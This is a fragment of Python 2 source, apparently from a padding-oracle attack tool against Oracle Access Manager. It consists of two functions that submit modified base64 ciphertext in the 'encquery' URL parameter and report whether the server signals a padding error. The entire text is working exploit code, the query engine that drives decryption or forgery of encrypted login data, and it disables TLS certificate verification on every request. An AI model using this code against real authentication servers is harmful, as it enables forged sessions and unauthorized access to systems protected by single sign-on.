def _is_valid_padding(self, requested_url): # TODO rename request_sent = False cnt = 0 while not request_sent: try: self._logger.debug('Requesting: %s', requested_url) cnt = cnt + 1 if cnt > Constants.MAX_RETRIES: self._logger.error("Max retries exceeded. Stopping...") sys.exit(-1) response = requests.get(requested_url, timeout=Constants.NETWORK_TIMEOUT, verify=False, allow_redirects=False) request_sent = True except (socket.error, requests.exceptions.RequestException): self._logger.exception('Retrying request in %.2f seconds...', Constants.DEFAULT_WAIT_TIME) time.sleep(Constants.DEFAULT_WAIT_TIME) continue content = response.text self._logger.debug("Response content: %s", content) padding_error = Util.has_padding_error(response=response, success_msg=self._padding_success_msg, fail_msg=self._padding_fail_msg, logger=self._logger) return not padding_error
def oracle(self, data, **kwargs): request_sent = False cnt = 0 while not request_sent: try: msg = self._prefix_message.encquery + data encoded_msg = b64encode(msg) cnt = cnt + 1 if cnt > Constants.MAX_RETRIES: self._logger.error("Max retries exceeded. Stopping...") sys.exit(-1) url = self._prefix_message.oam_url + "?encquery=" + urllib.quote( encoded_msg + ' ' + self._prefix_message.extra_params) self._logger.debug('Requesting: %s', url) response = requests.get(url, stream=False, timeout=Constants.NETWORK_TIMEOUT, verify=False, allow_redirects=False) request_sent = True except (socket.error, requests.exceptions.RequestException): self._logger.exception('Retrying request in %.2f seconds...', self.wait) time.sleep(self.wait) continue self.history.append(response) content = response.text self._logger.debug("Response content: %s", content) padding_error = Util.has_padding_error( response=response, success_msg=self._padding_success_msg, fail_msg=self._padding_fail_msg, logger=self._logger) if padding_error: raise BadPaddingException else: self._logger.info('No padding error for: %r', quote(b64encode(data))) return